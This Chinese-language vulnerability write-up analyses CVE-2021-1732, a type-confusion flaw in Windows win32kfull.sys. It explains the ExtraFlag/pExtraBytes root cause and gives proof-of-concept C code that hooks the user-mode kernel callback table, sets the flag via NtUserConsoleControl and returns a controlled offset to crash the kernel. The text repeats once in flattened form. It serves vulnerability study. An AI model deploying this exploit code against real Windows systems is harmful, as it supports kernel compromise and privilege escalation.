CVE-2021-1732 win32k漏洞分析
字数 1862 2025-08-29 08:31:47

CVE-2021-1732 Win32k漏洞分析与利用教学文档

漏洞概述

CVE-2021-1732是Windows内核模块win32kfull.sys中的一个Type Confusion漏洞,存在于win32kfull!xxxClientAllocWindowClassExtraBytes函数中。攻击者可以利用此漏洞进行越界读写,最终实现本地提权。

受影响版本

  • Windows 10 Version 1803/1809/1909/2004/20h2
  • Windows Server, version 1909/20H2 (Server Core installation)
  • Windows 10 Version for 32-bit Systems
  • Windows Server 2019

漏洞分析

漏洞背景

Windows窗口创建过程中,当注册自定义窗口类时,需要填充tagWNDCLASSA结构体:

typedef struct tagWNDCLASSA {
    UINT style;
    WNDPROC lpfnWndProc;
    int cbClsExtra;
    int cbWndExtra;
    HINSTANCE hInstance;
    HICON hIcon;
    HCURSOR hCursor;
    HBRUSH hbrBackground;
    LPCSTR lpszMenuName;
    LPCSTR lpszClassName;
} WNDCLASSA, *PWNDCLASSA, *NPWNDCLASSA, *LPWNDCLASSA;

cbWndExtra成员不为0时,会调用win32kfull!xxxClientAllocWindowClassExtraBytes函数分配额外内存。

漏洞根源

漏洞存在于win32kfull!xxxCreateWindowEx函数中,具体是与tagWND结构体的两个关键成员相关:

  1. pExtraBytes (offset: 0x128) - 存储额外字节的指针或偏移
  2. ExtraFlag (offset: 0xe8) - 控制pExtraBytes的解释方式

正常情况下:

  • ExtraFlag & 0x800 == 0时,pExtraBytes表示内存指针
  • ExtraFlag & 0x800 != 0时,pExtraBytes表示内存偏移

漏洞产生的原因是:在执行完win32kfull!xxxClientAllocWindowClassExtraBytes函数后,没有对tagWNDExtraFlag进行校验。攻击者可以在回调函数中修改ExtraFlag并控制pExtraBytes的值,导致类型混淆和越界读写。

关键函数分析

win32kfull!xxxClientAllocWindowClassExtraBytes

volatile void* __fastcall xxxClientAllocWindowClassExtraBytes(SIZE_T Length) {
    // 调用KeUserModeCallback返回到用户态执行回调
    v2 = KeUserModeCallback(0x7Bi64, &v12, 4i64, &v7, &v11);
    // 回调返回后处理结果
    v4 = v8;
    ProbeForRead(v4, v1, CurrentProcessWow64Process != 0 ? 1 : 4);
    return v4;
}

用户态回调函数 user32!_xxxClientAllocWindowClassExtraBytes

NTSTATUS __fastcall _xxxClientAllocWindowClassExtraBytes(unsigned int* a1) {
    Result = RtlAllocateHeap(pUserHeap, 8u, *a1);
    return NtCallbackReturn(&Result, 0x18u, 0);
}

漏洞利用流程

  1. 创建窗口时设置cbWndExtra不为0,触发xxxClientAllocWindowClassExtraBytes调用
  2. 在用户态回调函数中:
    • 修改tagWNDExtraFlag使其|= 0x800
    • 通过NtCallbackReturn返回一个可控的偏移值
  3. 内核继续执行,将返回的偏移值赋给pExtraBytes
  4. 后续操作中,内核会将偏移值当作指针使用,导致越界读写

漏洞利用实现

关键问题解决

  1. 获取窗口句柄

    • 创建多个窗口并销毁部分窗口
    • 创建触发漏洞的窗口,它会重用已释放窗口的内存
    • 通过HMValidateHandle泄露窗口地址,比较pExtraBytes值找到目标窗口
  2. 修改ExtraFlag

    • 使用NtUserConsoleControl API调用win32kfull!xxxConsoleControl函数
    • 该函数可以设置tagWNDExtraFlag

POC关键代码

获取关键函数地址

VOID InitFunction() {
    HMODULE hNtdll = LoadLibraryA("ntdll.dll"), hWin = LoadLibraryA("win32u.dll"), hUser = LoadLibraryA("user32.dll");
    global::NtCallbackReturn = (pNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn");
    global::NtUserConsoleControl = (pNtUserConsoleControl)GetProcAddress(hWin, "NtUserConsoleControl");
    
    // 搜索HMValidateHandle函数地址
    PBYTE isMenu = (PBYTE)GetProcAddress(hUser, "IsMenu");
    while (*isMenu++ != 0xe8);
    global::HMValidateHandle = (pHMValidateHandle)(isMenu + 4 + (*(PLONG32)isMenu));
}

挂钩回调函数

VOID HookCallBack() {
    ULONG64 KernelCallbackTable = *(PULONG64)(__readgsqword(0x60) + 0x58);
    ULONG64 target = KernelCallbackTable + (0x7B * 8);
    VirtualProtect((LPVOID)target, 0x100, PAGE_EXECUTE_READWRITE, &oldProtect);
    global::orginCallBack = (pCallBack)(*(PULONG64)target);
    *(PULONG64)target = (ULONG64)FakeCallBack;
}

自定义回调函数

VOID FakeCallBack(PULONG32 para) {
    if (*para == global::magicNum && global::flag) {
        // 查找目标窗口
        for (ULONG32 idx = 2; idx < 20; ++idx) {
            if (*(PULONG64)(global::pWnds[idx] + 0xc8) == global::magicNum) {
                target = (HWND)*(PULONG64)global::pWnds[idx];
                break;
            }
        }
        
        // 设置ExtraFlag
        ULONG64 buffer1[2] = { (ULONG64)target, 0 };
        global::NtUserConsoleControl(6, buffer1, 0x10);
        
        // 返回可控偏移
        ULONG64 buffer2[3] = { 0x1234, 0, 0 };
        global::NtCallbackReturn(buffer2, 0x18, 0);
    }
    return global::orginCallBack(para);
}

窗口创建与销毁

int main() {
    // 注册窗口类
    WNDCLASSA wc{ 0 };
    wc.lpfnWndProc = WindowProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = "Normal";
    wc.cbWndExtra = 0x10;
    ATOM normalClass = RegisterClassA(&wc);
    
    wc.lpszClassName = "Magic";
    wc.cbWndExtra = global::magicNum;
    ATOM magicClass = RegisterClassA(&wc);
    
    // 创建多个窗口
    for (ULONG32 idx = 0; idx < 20; ++idx) {
        global::hWnds[idx] = CreateWindowExA(0x8000000, "Normal", "NormalWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
        global::pWnds[idx] = global::HMValidateHandle((HMENU)global::hWnds[idx], 1);
    }
    
    // 销毁部分窗口
    for (ULONG32 idx = 2; idx < 20; ++idx) {
        DestroyWindow(global::hWnds[idx]);
    }
    
    // 创建触发漏洞的窗口
    global::flag = TRUE;
    HWND hMagic = CreateWindowExA(0x8000000, "Magic", "MagicWnd", 0x8000000, 0, 0, 0, 0, 0, 0, hInstance, NULL);
    DestroyWindow(hMagic); // 触发漏洞
    return 0;
}

调试分析

  1. 在回调函数中设置断点,查看用户态tagWND结构:

    • 首地址存储窗口句柄
    • 偏移0xc8处为特殊数值0xabcd
  2. 跟踪xxxConsoleControl函数:

    • 函数执行前,ExtraFlag未设置
    • 函数执行后,ExtraFlag |= 0x800
  3. xxxCreateWindowEx中调用xxxClientAllocWindowClassExtraBytes后下断点:

    • 可以看到返回的偏移值0x1234被赋给pExtraBytes
  4. 最终执行DestroyWindow时会触发蓝屏,因为内核将偏移值当作指针使用。

总结

CVE-2021-1732漏洞的核心在于:

  1. 内核未校验回调函数返回后ExtraFlag的状态
  2. 攻击者可以控制pExtraBytes被解释为偏移而非指针
  3. 通过精心构造的偏移值实现越界读写

完整POC代码可参考:GitHub链接

CVE-2021-1732 Win32k漏洞分析与利用教学文档 漏洞概述 CVE-2021-1732是Windows内核模块win32kfull.sys中的一个Type Confusion漏洞,存在于 win32kfull!xxxClientAllocWindowClassExtraBytes 函数中。攻击者可以利用此漏洞进行越界读写,最终实现本地提权。 受影响版本 Windows 10 Version 1803/1809/1909/2004/20h2 Windows Server, version 1909/20H2 (Server Core installation) Windows 10 Version for 32-bit Systems Windows Server 2019 漏洞分析 漏洞背景 Windows窗口创建过程中,当注册自定义窗口类时,需要填充 tagWNDCLASSA 结构体: 当 cbWndExtra 成员不为0时,会调用 win32kfull!xxxClientAllocWindowClassExtraBytes 函数分配额外内存。 漏洞根源 漏洞存在于 win32kfull!xxxCreateWindowEx 函数中,具体是与 tagWND 结构体的两个关键成员相关: pExtraBytes (offset: 0x128) - 存储额外字节的指针或偏移 ExtraFlag (offset: 0xe8) - 控制 pExtraBytes 的解释方式 正常情况下: 当 ExtraFlag & 0x800 == 0 时, pExtraBytes 表示内存指针 当 ExtraFlag & 0x800 != 0 时, pExtraBytes 表示内存偏移 漏洞产生的原因是:在执行完 win32kfull!xxxClientAllocWindowClassExtraBytes 函数后,没有对 tagWND 的 ExtraFlag 进行校验。攻击者可以在回调函数中修改 ExtraFlag 并控制 pExtraBytes 的值,导致类型混淆和越界读写。 关键函数分析 win32kfull !xxxClientAllocWindowClassExtraBytes 用户态回调函数 user32!_ xxxClientAllocWindowClassExtraBytes 漏洞利用流程 创建窗口时设置 cbWndExtra 不为0,触发 xxxClientAllocWindowClassExtraBytes 调用 在用户态回调函数中: 修改 tagWND 的 ExtraFlag 使其 |= 0x800 通过 NtCallbackReturn 返回一个可控的偏移值 内核继续执行,将返回的偏移值赋给 pExtraBytes 后续操作中,内核会将偏移值当作指针使用,导致越界读写 漏洞利用实现 关键问题解决 获取窗口句柄 : 创建多个窗口并销毁部分窗口 创建触发漏洞的窗口,它会重用已释放窗口的内存 通过 HMValidateHandle 泄露窗口地址,比较 pExtraBytes 值找到目标窗口 修改ExtraFlag : 使用 NtUserConsoleControl API调用 win32kfull!xxxConsoleControl 函数 该函数可以设置 tagWND 的 ExtraFlag POC关键代码 获取关键函数地址 挂钩回调函数 自定义回调函数 窗口创建与销毁 调试分析 在回调函数中设置断点,查看用户态 tagWND 结构: 首地址存储窗口句柄 偏移0xc8处为特殊数值0xabcd 跟踪 xxxConsoleControl 函数: 函数执行前, ExtraFlag 未设置 函数执行后, ExtraFlag |= 0x800 在 xxxCreateWindowEx 中调用 xxxClientAllocWindowClassExtraBytes 后下断点: 可以看到返回的偏移值0x1234被赋给 pExtraBytes 最终执行 DestroyWindow 时会触发蓝屏,因为内核将偏移值当作指针使用。 总结 CVE-2021-1732漏洞的核心在于: 内核未校验回调函数返回后 ExtraFlag 的状态 攻击者可以控制 pExtraBytes 被解释为偏移而非指针 通过精心构造的偏移值实现越界读写 完整POC代码可参考: GitHub链接